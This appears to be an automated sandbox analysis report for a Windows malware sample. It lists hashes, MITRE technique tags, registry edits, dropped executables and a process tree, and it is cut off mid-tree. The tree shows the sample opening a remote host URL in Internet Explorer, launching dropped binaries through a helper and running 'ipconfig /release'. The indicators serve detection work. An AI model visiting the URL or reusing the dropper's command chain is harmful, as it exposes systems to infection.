d1c9007f61b83056d20dffa2f5ae230e023571ad8e437b429b77d17a209eee79

Analysis

max time kernel
150s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe
Size 243KB
Sample260930-22esmavfpf
SHA256 d1c9007f61b83056d20dffa2f5ae230e023571ad8e437b429b77d17a209eee79
MD5 24cdb884a1cae1cb9a6aa216e6511968
SHA1 3572ad5083c877a2f741b8439282050b73f1ea8f
SHA512 c538e4f0586f3beb948a8932db5b1421424469fd7adcd08c5acb239415a3a94c8c4e7cf3bddcfc3d516e05aea68fcf68cfc4bc6defed8fbea6dc3d6998055e4e
SSDEEP 3072:enLR2VoLzdWJhf7yXa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7g:0LRRLEQa3lLNngoqRttA7g
TLSH
T10D345901B2818071E75A0B78046AE7A0467E7C384BA5E5CFF7683F795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
3792	CP.exe
3056	ysqlidavtn.exe
4628	CP.exe
3728	CP.exe
4472	i_ysqlidavtn.exe
4904	lfdxvpnilf.sys
1240	CP.exe
3664	favsnlfdxv.exe
3912	CP.exe
1864	CP.exe
1848	i_favsnlfdxv.exe
820	faysqkausn.sys
2932	CP.exe
1652	mkfcxvpnhf.exe
4356	CP.exe
1452	CP.exe
628	i_mkfcxvpnhf.exe
4636	spkicausmk.sys
3312	CP.exe
3732	kfcxmhfzxr.exe
3264	CP.exe
2464	CP.exe
4476	i_kfcxmhfzxr.exe
4488	hezxrpjhcz.sys
3300	CP.exe
5112	zusmkecwup.exe
1828	CP.exe
4264	CP.exe
1568	i_zusmkecwup.exe
2420	urmjecwuom.sys
4684	CP.exe
2592	mhbztrmjeb.exe
5076	CP.exe
208	CP.exe
2028	i_mhbztrmjeb.exe
3840	omgerojgbz.sys
2508	CP.exe
1436	ztrljdbwto.exe
3724	CP.exe
3988	CP.exe
772	i_ztrljdbwto.exe
1548	dbwtomgeyw.sys
3288	CP.exe
5100	wigbytqljd.exe
820	CP.exe
1724	CP.exe
1384	i_wigbytqljd.exe
1772	vtnlfdyvqo.sys
32	CP.exe
4572	nlgdywqoig.exe
3820	CP.exe
4928	CP.exe
3292	i_nlgdywqoig.exe
556	kidavsnlfd.sys
4472	CP.exe
1328	dxvpnidavt.exe
772	CP.exe
1696	CP.exe
176	i_dxvpnidavt.exe
3296	nlfdxnhfax.sys
1732	CP.exe
616	xsqkicausn.exe
4268	CP.exe
2276	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhbztrmjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvqkidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkiusnkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wigbytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqlidavtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxspkhcau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcxrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqlidavtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfcxmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zusmkecwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvpnidavt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_favsnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlgdywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xsqkicausn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvqkidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkiusnkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlgdywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvpnidavt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xsqkicausn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfcxmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhbztrmjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcxrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wigbytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxspkhcau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoiytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoiytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	favsnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zusmkecwup.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1220	ipconfig.exe
3148	ipconfig.exe
4336	ipconfig.exe
2668	ipconfig.exe
4904	ipconfig.exe
4572	ipconfig.exe
1848	ipconfig.exe
3868	ipconfig.exe
2972	ipconfig.exe
2068	ipconfig.exe
2572	ipconfig.exe
4744	ipconfig.exe
4304	ipconfig.exe
1368	ipconfig.exe
2084	ipconfig.exe
876	ipconfig.exe
2816	ipconfig.exe
3520	ipconfig.exe
2240	ipconfig.exe
3636	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281456"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae55000000000200000000001066000000010000200000007a02feab30ddc6661c02a076587899982f5692298231389827a4bb1257b66c99000000000e800000000200002000000012ec90d2e530791324460d562f2d74663423d9d400f18ee623bf4ba40b15ff3d2000000059fe70a0622ff60a3aeb624271a81ac42aab88f871f7c293f8fabde39e545f904000000082e7c273355d464d2a9b0ef423dfd7a2c4b119aa7516bcf938ea6cd75c1feab0264c75539ae774a3f8cd1f1dbccd6b5433c15936e07b4d8feb6a41df1cf3c50b	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d08a508c3851dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "709149602"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae5500000000020000000000106600000001000020000000df3d7bfcaace0dfc0390016ac9f52b185ba1b0ac1a09f004a7fa5becb0057f29000000000e8000000002000020000000f5d9ef398f377ed3bc4d45f3382ce7553ab3fc7a9b3bfdec79c34d9eb109db8e2000000088bb501413b27215081d7cfe76a3f5f5afc18c6233337fcf74c6d67c104e52324000000075d40c014a1c495129b76cfac4db1c697886ca4c19b9b8d0bdde91af2baef38a4c9761e0956c66bcefc45c2adb31e1d6c074bdeb4e09c09e5534cd8cde25a95d	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281456"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{5518EDB3-BD23-11F1-895E-6E24823C6C3E} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "700868281"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "497574463"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f014478c3851dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4472	i_ysqlidavtn.exe
Token: SeDebugPrivilege	1848	i_favsnlfdxv.exe
Token: SeDebugPrivilege	628	i_mkfcxvpnhf.exe
Token: SeDebugPrivilege	4476	i_kfcxmhfzxr.exe
Token: SeDebugPrivilege	1568	i_zusmkecwup.exe
Token: SeDebugPrivilege	2028	i_mhbztrmjeb.exe
Token: SeDebugPrivilege	772	i_ztrljdbwto.exe
Token: SeDebugPrivilege	1384	i_wigbytqljd.exe
Token: SeDebugPrivilege	3292	i_nlgdywqoig.exe
Token: SeDebugPrivilege	176	i_dxvpnidavt.exe
Token: SeDebugPrivilege	2000	i_xsqkicausn.exe
Token: SeDebugPrivilege	3936	i_fzxspkhcau.exe
Token: SeDebugPrivilege	2264	i_hcxrpjhczu.exe
Token: SeDebugPrivilege	4192	i_zxrpjhbzur.exe
Token: SeDebugPrivilege	4600	i_rojhbztrlj.exe
Token: SeDebugPrivilege	1152	i_qoiytqljdb.exe
Token: SeDebugPrivilege	3868	i_gdywqoigay.exe
Token: SeDebugPrivilege	1832	i_xvqkidbvtn.exe
Token: SeDebugPrivilege	4984	i_snlfdxvpni.exe
Token: SeDebugPrivilege	808	i_sqkiusnkfc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2012	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2012	iexplore.exe
2012	iexplore.exe
2760	IEXPLORE.EXE
2760	IEXPLORE.EXE
2760	IEXPLORE.EXE
2760	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 2012	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	86
PID 2012 wrote to memory of 2760	2012	iexplore.exe	87
PID 1952 wrote to memory of 3792	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	92
PID 3056 wrote to memory of 4628	3056	ysqlidavtn.exe	95
PID 1952 wrote to memory of 3728	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	104
PID 1952 wrote to memory of 1240	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	113
PID 3664 wrote to memory of 3912	3664	favsnlfdxv.exe	115
PID 1952 wrote to memory of 1864	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	118
PID 1952 wrote to memory of 2932	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	122
PID 1652 wrote to memory of 4356	1652	mkfcxvpnhf.exe	124
PID 1952 wrote to memory of 1452	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	127
PID 1952 wrote to memory of 3312	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	131
PID 3732 wrote to memory of 3264	3732	kfcxmhfzxr.exe	133
PID 1952 wrote to memory of 2464	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	136
PID 1952 wrote to memory of 3300	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	142
PID 5112 wrote to memory of 1828	5112	zusmkecwup.exe	144
PID 1952 wrote to memory of 4264	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	147
PID 1952 wrote to memory of 4684	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	152
PID 2592 wrote to memory of 5076	2592	mhbztrmjeb.exe	154
PID 1952 wrote to memory of 208	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	157
PID 1952 wrote to memory of 2508	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	161
PID 1436 wrote to memory of 3724	1436	ztrljdbwto.exe	163
PID 1952 wrote to memory of 3988	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	166
PID 1952 wrote to memory of 3288	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	170
PID 5100 wrote to memory of 820	5100	wigbytqljd.exe	172
PID 1952 wrote to memory of 1724	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	175
PID 1952 wrote to memory of 32	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	179
PID 4572 wrote to memory of 3820	4572	nlgdywqoig.exe	181
PID 1952 wrote to memory of 4928	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	184
PID 1952 wrote to memory of 4472	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	188
PID 1328 wrote to memory of 772	1328	dxvpnidavt.exe	190
PID 1952 wrote to memory of 1696	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	193
PID 1952 wrote to memory of 1732	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	199
PID 616 wrote to memory of 4268	616	xsqkicausn.exe	201
PID 1952 wrote to memory of 2276	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	204
PID 1952 wrote to memory of 4916	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	208
PID 332 wrote to memory of 2940	332	fzxspkhcau.exe	210
PID 1952 wrote to memory of 1660	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	213
PID 1952 wrote to memory of 4220	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	217
PID 3356 wrote to memory of 1236	3356	hcxrpjhczu.exe	219
PID 1952 wrote to memory of 2440	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	222
PID 1952 wrote to memory of 456	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	226
PID 2312 wrote to memory of 3168	2312	zxrpjhbzur.exe	228
PID 1952 wrote to memory of 1488	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	231
PID 1952 wrote to memory of 2376	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	235
PID 2812 wrote to memory of 4236	2812	rojhbztrlj.exe	237
PID 1952 wrote to memory of 3188	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	241
PID 1952 wrote to memory of 4112	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	245
PID 3016 wrote to memory of 2096	3016	qoiytqljdb.exe	247
PID 1952 wrote to memory of 920	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	250
PID 1952 wrote to memory of 876	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	254
PID 4736 wrote to memory of 3196	4736	gdywqoigay.exe	256
PID 1952 wrote to memory of 1284	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	259
PID 1952 wrote to memory of 1272	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	263
PID 3796 wrote to memory of 3404	3796	xvqkidbvtn.exe	265
PID 1952 wrote to memory of 2832	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	268
PID 1952 wrote to memory of 1356	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	272
PID 4312 wrote to memory of 2304	4312	snlfdxvpni.exe	274
PID 1952 wrote to memory of 4432	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	277
PID 1952 wrote to memory of 3456	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	281
PID 2032 wrote to memory of 2984	2032	sqkiusnkfc.exe	283
PID 1952 wrote to memory of 5032	1952	2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe	286

C:\Users\Admin\AppData\Local\Temp\2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-29_24cdb884a1cae1cb9a6aa216e6511968_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2012 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2760
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ysqlidavtn.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3792
- - C:\Temp\ysqlidavtn.exe
    C:\Temp\ysqlidavtn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4628
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ysqlidavtn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3728
- - C:\Temp\i_ysqlidavtn.exe
    C:\Temp\i_ysqlidavtn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4472
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\favsnlfdxv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1240
- - C:\Temp\favsnlfdxv.exe
    C:\Temp\favsnlfdxv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3912
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2572
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_favsnlfdxv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1864
- - C:\Temp\i_favsnlfdxv.exe
    C:\Temp\i_favsnlfdxv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkfcxvpnhf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2932
- - C:\Temp\mkfcxvpnhf.exe
    C:\Temp\mkfcxvpnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1652
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4356
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4744
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkfcxvpnhf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1452
- - C:\Temp\i_mkfcxvpnhf.exe
    C:\Temp\i_mkfcxvpnhf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:628
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kfcxmhfzxr.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3312
- - C:\Temp\kfcxmhfzxr.exe
    C:\Temp\kfcxmhfzxr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3264
    - - C:\windows\system32\ipconfig.exe
